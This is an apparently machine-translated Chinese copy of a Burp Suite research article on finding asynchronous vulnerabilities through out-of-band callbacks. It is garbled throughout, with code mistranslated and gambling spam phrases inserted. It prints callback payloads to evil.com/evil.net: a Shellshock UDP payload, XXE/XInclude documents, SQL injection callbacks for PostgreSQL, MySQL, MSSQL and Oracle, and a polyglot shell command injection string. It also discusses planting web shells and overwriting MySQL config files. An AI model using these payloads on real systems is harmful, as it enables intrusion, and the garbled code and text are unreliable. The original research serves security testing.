产品对比
专业版和企业版有什么区别?
产品对比
专业版和企业版有什么区别?
下载
下载最新版本的Burp Suite。
发布:2015年9月15日在12:15 UTC
更新:2022年1月10日,13:46 UTC
这是我从44CON和BSIDES曼彻斯特的狩猎异步漏洞演示中对核心技术内容进行核心技术内容的详细删节(且不中立的)文章。你可以在这里下载幻灯片。
在Blackbox测试中,漏洞可以潜伏在后端功能和背景线程中。没有明显症状的问题,例如盲二阶SQL注入和壳指挥注射通过夜间的cronjobs或异步记录功能,可以轻松地在重复的五旬节中生存,并在生产中未固定。
可靠地追捕这些措施的唯一方法是使用利用诱导的回调。也就是说,对于每个潜在的漏洞x,X发送一个漏洞,如果您的服务器发射,则会耐心地聆听。自发布以来Burp合作者,我们已经能够在基于回调的漏洞狩猎技术中使用bepaly下载 。这篇文章详细介绍了我一直在进行基于回调的漏洞狩猎的一些正在进行的研究。
许多异步漏洞是无形的。也就是说,没有办法:
这使它们本质上很难找到。请注意,看不见的漏洞不应与“盲人” SQL注入混淆;和盲目注射攻击者通常会导致明显的时间延迟或页面输出差异。
隐形漏洞可以大致分为三种类型:
可以通过提供触发回调的有效载荷来找到异步漏洞 - 从弱势应用程序到攻击者控制的侦听器的带外连接。
例如,观察到以下有效载荷被用于检测容易受到ShellShock的服务器:
(){:;};Echo 1> /dev/udp/evil.com/53
该有效载荷试图利用Shellshock漏洞使目标系统将UDP数据包发送到Evil.com的端口53。如果Evil.com收到这样的数据包,则表明连接服务器很脆弱,并且可以跟进进一步的利用。
可以通过提供触发回调的利用来确定许多常见的漏洞类,从而可以找到这些漏洞而不依赖任何应用程序输出。Burp Suite使用Burp Collaborator Server作为这些外部交互的接收器:
DNS是触发回调的理想协议,因为它很少在网络上过滤出来,并且基于许多其他网络协议。
为典型漏洞制定利用是一个迭代过程。基于应用程序反馈,攻击者可以从通用的绒毛字符串开始,然后将其慢慢改进到工作有效载荷中。创建有效的回调发行有效负载可能很困难,因为回调利用难以失败 - 如果利用失败,您没有迹象表明该应用程序很脆弱。
结果,回调利用的质量至关重要 - 在尽可能多的情况下,它们应该在不修改的情况下工作。理想的回调利用将起作用,无论易受伤害的软件实施,基础操作系统及其出现的上下文,并且对普通过滤器具有抵抗力。
实现环境不敏感的关键方法是使用漏洞本身的功能来发出回调。例如,以下XML文档使用六个不同的XML漏洞/功能来尝试发出回调。
<?xml版本=“ 1.0” encoding =“ utf-8”?>
<?xml-stylesheet type =“ text/xml” href =“ http://xsl.evil.net/a.xsl”?>
<!doctype root public' - // a/b/en“ http://dtd.evil.net/a.dtd [
<!entity%远程系统“ http://xxe2.evil.net/a”>
<!entity xxe系统“ http://xxe1.evil.net/a”>
%偏僻的;
]>
<根>
&xxe;
href =“ http://xi.evil.net/”/>
XMLNS:XSI =“ http://www.w3.org/2001/xmlschema-instance”
XSI:示意图=“ http://a.b/
http://schemalocation.evil.net/a.xsd“> a
这里的最后两个有效载荷 - Xinclude和themalocation-特别强大,因为它们不需要完全控制XML文档才能工作。这意味着他们可以用来寻找盲人XML注入,否则难以识别的脆弱性。
SQL本身并未定义我们可以用来发出回调的任何语句,因此我们需要单独查看每个流行的SQL数据库实现。
只要数据库用户具有足够的特权,PostgreSQL就很容易触发回调。这复制命令可用于调用任意外壳命令:
复制(选择'')以编程'nslookup evil.net'
我在这里使用了NSlookUp,因为默认情况下它在Windows和 *Nix系统上都可用。ping是一个明显的选择,但是当在Linux上调用时,它永远不会退出,因此可能会挂起执行线程。
在Windows上,大多数文件系统函数都可以馈送UNC路径- 一种特殊类型的文件路径,可以在外部服务器上引用资源,从而触发DNS查找。这意味着在Windows上,几乎所有文件I/O功能都可以用于触发回调。
SQLITE3具有两个有用的功能,可用于通过UNC路径引起回调:
;附加数据库'//evil.net/z'as'z' - -
(选择load_extension('// foo'))
两者都不是完美的 - 前者需要批处理查询,后者依赖于启用load_extension。
MySQL有几个类似的功能,两者都不需要批次查询:
load_file('\\\\\ evil.net \\ foo')
选择…进入Outfile'\\\\ evil.net \ foo'
Microsoft SQL Server提供了许多触发Pingbacks的方法:
从OpenRowset('sqlncli','evil.net'; a',''select 1 select *从dual'中进行选择 *
(需要“临时分布式查询”)
exec master.dbo.xp_fileexist'\\\\ evil.net \\ foo'
(需要Sysadmin特权)
批量从'\\\\ evil.net $ file'插入mytable'
(需要批量插入特权)
exec master.dbo.xp_dirtree'\\\\ evil.net \\ foo'
(理想 - 需要Sysadmin特权,但在查找DNS之后检查特权)
Oracle提供了多种触发回调的方法:utl_http,utl_tcp,utl_smtp,utl_inaddr,utl_file…
如果您愿意,可以使用UTL_SMTP编写SQL注入有效载荷,该有效载荷向您发送一封电子邮件,以描述执行后的漏洞。但是,他们都需要我们可能没有的各种特权。
幸运的是,还有另一种选择。Oracle具有内置的XML解析功能,可以由低特权用户调用。而且,是的,最近Netspi的Khai Tran发现Oracle容易受到XXE注入的影响。这意味着我们可以使用XXE有效载荷链接我们的SQL注入,以触发没有特权的回调:
选择ExtractValue(XmlType('<?xml版本=“ 1.0” encoding =“ utf-8”?> <!doctype root [<!entity%远程系统“ http://evil.net/”>%远程;]>>'),'/l')
正如您可能已经注意到的那一刻,非窗口系统很难触发回调,因为核心文件系统API不支持UNC路径。但是,我们可能能够通过“写文件”功能间接触发回调。
这样做的明显方法是在Webroot内部编写Web Shell。beplay体育能用吗但是,从自动化的扫描仪的角度来看,这不是理想的选择 - 我们不知道Webroot在哪里,因此我们必须用shell喷洒文件系统,而客户可能不太满意。beplay体育能用吗
一种不太有害的替代方法是利用邮件台 /邮件流程。有些邮件有一个文件夹,将定期抓取任何正确格式的文件,并通过电子邮件发送。这种方法一开始看起来很有希望,但是我无法在没有根特权的情况下使用任何主要的 *nix邮件,这使它几乎没有用。
还有一个选项 - 我们可以尝试调整配置文件。虽然是mysql的选择输入不能用于覆盖文件,mySQL本身使用文件加载策略这意味着我们可以潜在地覆盖选项,而无需覆盖现有文件。写入的文件$ mysql_home/my.cnf或者〜/.my.cnf将优先考虑全局/eTc/mysql/my.cnf文件。当服务器接下来重新启动服务器时,我们可以触发回调绑定地址带有主机名的选项。有一个稍微的捕获 - 然后,服务器将尝试绑定到该接口,并且可能无法启动。我们可以通过0.0.0.0响应DNS查找来减轻这种情况,从而使服务器绑定到所有可用接口。但是,这导致其他问题留给读者的想象力。
当我们任意执行时,触发回调真的很容易。也就是说,我们不一定知道我们的字符串出现在哪个上下文,甚至是基础操作系统是什么。在每个合理背景下工作的有效负载是理想的选择:
bash:
bash:$命令arg1输入arg3
bash“:$命令arg1”输入“ arg3
基础':$命令arg1'输入'arg3
视窗:
赢:>命令arg1输入arg3
赢得“:>命令arg1”输入” arg3
通过创建一个在五个上下文中执行所提供的字符串并迭代调整以改善覆盖范围的测试页面,我开发了以下有效载荷:
&nslookup evil.net&'\''`&nslookup evil.net&`''
bash:和nslookupevil.net和'\“`0&nslookupevil.net&`'
bash”:和nslookupevil.net&'\”`0&nslookupevil.net&`'
bash':和nslookupevil.net和'\”`0&nslookupevil.net&`'
赢:和nslookupevil.net和'\“`0&nslookupevil.net&`'
赢”:和nslookupevil.net&'\“`0&nslookupevil.net和``''
钥匙:被忽略上下文分解dud statement注射命令被忽略
与Shell命令注入一样,很容易使用XSS触发Pingback,但是我们不知道我们输入周围的语法是什么 - 我们可能会降落在引用的属性或